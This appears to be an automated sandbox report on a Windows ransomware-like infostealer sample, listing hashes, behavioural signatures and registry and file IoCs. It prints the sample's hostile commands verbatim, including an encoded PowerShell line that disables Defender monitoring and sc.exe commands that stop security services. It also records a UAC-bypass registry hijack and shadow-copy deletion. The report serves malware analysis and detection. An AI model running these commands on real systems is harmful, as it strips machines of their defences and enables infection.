Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/08/2026, 00:56
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
elmcsspatterns.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
elmcsspatterns.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target elmcsspatterns.io_hyber.exe
- Size 49KB
- Sample260818-barp1aef82
- SHA256 54fde35eae687cffb68c1643938b5bf50ce8a9fcba802f5975a276e9e0ec62bc
- MD5 82de41b65f975ff14d3d7fd58daa8825
- SHA1 bd404c9ece1ff70786c3f9b95b2c8b0f335c0dc1
- SHA512 6affb65025112446c27997e055df4bcc834fc0a75662d26cfe045f637b55bff73dbcd72a79c8d7f1ebd8b82100b80988144a4df57ce50e46b5717683ab7a9ef5
- SSDEEP 768:MrVZZ6zs0h9QRb1VnqS/NKPzfX/fTN4X:aZ6Hhw10SGP/fTN4X
- TLSH T17033074837EE4522D1BF4EBE89B251119731F4539C23DB8E1AD9459E09F3B00CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4904-1-0x0000000000150000-0x0000000000162000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" elmcsspatterns.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5880 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" elmcsspatterns.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts elmcsspatterns.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1408 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf elmcsspatterns.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf elmcsspatterns.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf elmcsspatterns.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\elmcsspatterns.io_hyber.exe" elmcsspatterns.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 2408 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe elmcsspatterns.io_hyber.exe File created C:\Windows\system32\sysupdate.exe elmcsspatterns.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe elmcsspatterns.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5992 wscript.exe 3660 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" elmcsspatterns.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1774443198.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2568 sc.exe 4332 sc.exe 5832 sc.exe 2948 sc.exe 5836 sc.exe 4736 sc.exe 5036 sc.exe 5252 sc.exe 5656 sc.exe 1372 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3256 cmd.exe 2368 cmd.exe 4368 cmd.exe 6020 cmd.exe 6088 cmd.exe 5376 cmd.exe 4580 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 768 ipconfig.exe 3716 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5604 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1460 vssadmin.exe 5052 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallpaperStyle = "2" elmcsspatterns.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell elmcsspatterns.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell elmcsspatterns.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" elmcsspatterns.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet elmcsspatterns.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell elmcsspatterns.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open elmcsspatterns.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command elmcsspatterns.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command elmcsspatterns.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\elmcsspatterns.io_hyber.exe" elmcsspatterns.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\DelegateExecute elmcsspatterns.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open elmcsspatterns.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\elmcsspatterns.io_hyber.exe\" \"%1\"" elmcsspatterns.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command elmcsspatterns.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings elmcsspatterns.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open elmcsspatterns.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings elmcsspatterns.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 824 schtasks.exe 2340 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5880 powershell.exe 5880 powershell.exe 5880 powershell.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 3928 WMIC.exe 3928 WMIC.exe 3928 WMIC.exe 3928 WMIC.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 5732 WMIC.exe 5732 WMIC.exe 5732 WMIC.exe 5732 WMIC.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe 4904 elmcsspatterns.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2512 LogonUI.exe Token: SeCreatePagefilePrivilege 2512 LogonUI.exe Token: SeDebugPrivilege 4904 elmcsspatterns.io_hyber.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeIncreaseQuotaPrivilege 5880 powershell.exe Token: SeSecurityPrivilege 5880 powershell.exe Token: SeTakeOwnershipPrivilege 5880 powershell.exe Token: SeLoadDriverPrivilege 5880 powershell.exe Token: SeSystemProfilePrivilege 5880 powershell.exe Token: SeSystemtimePrivilege 5880 powershell.exe Token: SeProfSingleProcessPrivilege 5880 powershell.exe Token: SeIncBasePriorityPrivilege 5880 powershell.exe Token: SeCreatePagefilePrivilege 5880 powershell.exe Token: SeBackupPrivilege 5880 powershell.exe Token: SeRestorePrivilege 5880 powershell.exe Token: SeShutdownPrivilege 5880 powershell.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeSystemEnvironmentPrivilege 5880 powershell.exe Token: SeRemoteShutdownPrivilege 5880 powershell.exe Token: SeUndockPrivilege 5880 powershell.exe Token: SeManageVolumePrivilege 5880 powershell.exe Token: 33 5880 powershell.exe Token: 34 5880 powershell.exe Token: 35 5880 powershell.exe Token: 36 5880 powershell.exe Token: SeIncreaseQuotaPrivilege 5880 powershell.exe Token: SeSecurityPrivilege 5880 powershell.exe Token: SeTakeOwnershipPrivilege 5880 powershell.exe Token: SeLoadDriverPrivilege 5880 powershell.exe Token: SeSystemProfilePrivilege 5880 powershell.exe Token: SeSystemtimePrivilege 5880 powershell.exe Token: SeProfSingleProcessPrivilege 5880 powershell.exe Token: SeIncBasePriorityPrivilege 5880 powershell.exe Token: SeCreatePagefilePrivilege 5880 powershell.exe Token: SeBackupPrivilege 5880 powershell.exe Token: SeRestorePrivilege 5880 powershell.exe Token: SeShutdownPrivilege 5880 powershell.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeSystemEnvironmentPrivilege 5880 powershell.exe Token: SeRemoteShutdownPrivilege 5880 powershell.exe Token: SeUndockPrivilege 5880 powershell.exe Token: SeManageVolumePrivilege 5880 powershell.exe Token: 33 5880 powershell.exe Token: 34 5880 powershell.exe Token: 35 5880 powershell.exe Token: 36 5880 powershell.exe Token: SeIncBasePriorityPrivilege 4904 elmcsspatterns.io_hyber.exe Token: SeDebugPrivilege 3852 whoami.exe Token: SeDebugPrivilege 2408 tasklist.exe Token: SeIncreaseQuotaPrivilege 3928 WMIC.exe Token: SeSecurityPrivilege 3928 WMIC.exe Token: SeTakeOwnershipPrivilege 3928 WMIC.exe Token: SeLoadDriverPrivilege 3928 WMIC.exe Token: SeSystemProfilePrivilege 3928 WMIC.exe Token: SeSystemtimePrivilege 3928 WMIC.exe Token: SeProfSingleProcessPrivilege 3928 WMIC.exe Token: SeIncBasePriorityPrivilege 3928 WMIC.exe Token: SeCreatePagefilePrivilege 3928 WMIC.exe Token: SeBackupPrivilege 3928 WMIC.exe Token: SeRestorePrivilege 3928 WMIC.exe Token: SeShutdownPrivilege 3928 WMIC.exe Token: SeDebugPrivilege 3928 WMIC.exe Token: SeSystemEnvironmentPrivilege 3928 WMIC.exe Token: SeRemoteShutdownPrivilege 3928 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4904 elmcsspatterns.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2512 LogonUI.exe 2512 LogonUI.exe 4904 elmcsspatterns.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4904 wrote to memory of 5880 4904 elmcsspatterns.io_hyber.exe 91 PID 4904 wrote to memory of 4736 4904 elmcsspatterns.io_hyber.exe 93 PID 4904 wrote to memory of 5036 4904 elmcsspatterns.io_hyber.exe 95 PID 4904 wrote to memory of 2568 4904 elmcsspatterns.io_hyber.exe 97 PID 4904 wrote to memory of 5252 4904 elmcsspatterns.io_hyber.exe 99 PID 4904 wrote to memory of 5832 4904 elmcsspatterns.io_hyber.exe 101 PID 4904 wrote to memory of 5656 4904 elmcsspatterns.io_hyber.exe 103 PID 4904 wrote to memory of 4332 4904 elmcsspatterns.io_hyber.exe 105 PID 4904 wrote to memory of 1372 4904 elmcsspatterns.io_hyber.exe 107 PID 4904 wrote to memory of 1588 4904 elmcsspatterns.io_hyber.exe 108 PID 1588 wrote to memory of 1180 1588 fodhelper.exe 110 PID 4904 wrote to memory of 5992 4904 elmcsspatterns.io_hyber.exe 113 PID 4904 wrote to memory of 824 4904 elmcsspatterns.io_hyber.exe 114 PID 4904 wrote to memory of 4628 4904 elmcsspatterns.io_hyber.exe 117 PID 4904 wrote to memory of 3256 4904 elmcsspatterns.io_hyber.exe 121 PID 4904 wrote to memory of 4580 4904 elmcsspatterns.io_hyber.exe 122 PID 4904 wrote to memory of 5376 4904 elmcsspatterns.io_hyber.exe 123 PID 4904 wrote to memory of 6088 4904 elmcsspatterns.io_hyber.exe 124 PID 4904 wrote to memory of 6020 4904 elmcsspatterns.io_hyber.exe 125 PID 4904 wrote to memory of 4368 4904 elmcsspatterns.io_hyber.exe 126 PID 4904 wrote to memory of 2368 4904 elmcsspatterns.io_hyber.exe 127 PID 4904 wrote to memory of 2340 4904 elmcsspatterns.io_hyber.exe 133 PID 4904 wrote to memory of 3660 4904 elmcsspatterns.io_hyber.exe 137 PID 4904 wrote to memory of 1460 4904 elmcsspatterns.io_hyber.exe 138 PID 4904 wrote to memory of 3928 4904 elmcsspatterns.io_hyber.exe 139 PID 4904 wrote to memory of 1464 4904 elmcsspatterns.io_hyber.exe 140 PID 4904 wrote to memory of 1408 4904 elmcsspatterns.io_hyber.exe 141 PID 4904 wrote to memory of 5836 4904 elmcsspatterns.io_hyber.exe 142 PID 4904 wrote to memory of 2948 4904 elmcsspatterns.io_hyber.exe 143 PID 4368 wrote to memory of 768 4368 cmd.exe 150 PID 4580 wrote to memory of 5604 4580 cmd.exe 151 PID 6088 wrote to memory of 3852 6088 cmd.exe 152 PID 5376 wrote to memory of 2408 5376 cmd.exe 153 PID 6020 wrote to memory of 1760 6020 cmd.exe 154 PID 2368 wrote to memory of 3716 2368 cmd.exe 155 PID 1464 wrote to memory of 1452 1464 net.exe 157 PID 1760 wrote to memory of 712 1760 net.exe 158 PID 3256 wrote to memory of 5052 3256 cmd.exe 159 PID 3256 wrote to memory of 5732 3256 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5880
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4736
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5036
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2568
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5252
